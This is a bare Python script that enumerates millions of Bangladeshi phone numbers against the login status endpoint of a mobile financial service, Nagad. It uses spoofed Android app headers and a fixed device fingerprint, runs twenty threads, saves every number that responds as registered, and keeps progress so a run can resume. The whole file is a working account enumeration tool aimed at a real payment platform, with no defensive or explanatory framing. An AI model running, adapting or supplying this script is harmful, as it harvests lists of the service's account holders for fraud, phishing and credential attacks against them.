import time
import requests
import threading
from concurrent.futures import ThreadPoolExecutor
API_URL = “https://app2.mynagad.com:20002/api/user/check-user-status-for-log-in?msisdn=”
HEADERS = {
“User-Agent”: “okhttp/3.14.9”,
“Connection”: “Keep-Alive”,
“X-KM-User-AspId”: “100012345612345”,
“X-KM-User-Agent”: “ANDROID/1164”,
“X-KM-DEVICE-FGP”: “2314D8721C84DBD93F3A7147528085CACFD513B3B4E7CE96EA802EBD72928415”,
“X-KM-Accept-language”: “bn”,
“X-KM-AppCode”: “01”,
}
START = 10000000
END = 10500000
PREFIXES = [‘013’, ‘014’, ‘015’, ‘016’, ‘018’, ‘019’]
PROGRESS_FILE = “progress.txt”
VALID_NUMBERS_FILE = “numbers.txt”
def get_last_processed():
try:
with open(PROGRESS_FILE, “r”) as f:
return int(f.read().strip())
except (FileNotFoundError, ValueError):
return START
def save_progress(last_number):
with open(PROGRESS_FILE, “w”) as f:
f.write(str(last_number))
def generate_numbers(start, end):
numbers = []
for i in range(start, end):
num = str(i).zfill(8)
for prefix in PREFIXES:
numbers.append(f”{prefix}{num}”)
return numbers
def check_number(number):
try:
response = requests.get(API_URL + number, headers=HEADERS, timeout=10)
if response.status_code == 200:
return number
except requests.RequestException:
pass
return None
def save_numbers(valid_numbers):
if valid_numbers:
with open(VALID_NUMBERS_FILE, “a”) as f:
f.write(“\n”.join(valid_numbers) + “\n”)
def process_numbers(numbers):
valid_numbers = []
with ThreadPoolExecutor(max_workers=20) as executor:
results = executor.map(check_number, numbers)
for result in results:
if result:
valid_numbers.append(result)
save_numbers(valid_numbers)
def main():
start = get_last_processed()
while start < END:
batch_end = min(start + 10000, END)
numbers = generate_numbers(start, batch_end)
process_numbers(numbers)
save_progress(batch_end)
start = batch_end
print(f"Progress: {((start - START) / (END - START)) * 100:.2f}% | Last Processed: {start}", end="\r")
print("\nProcess completed.")
if __name__ == "__main__":
main()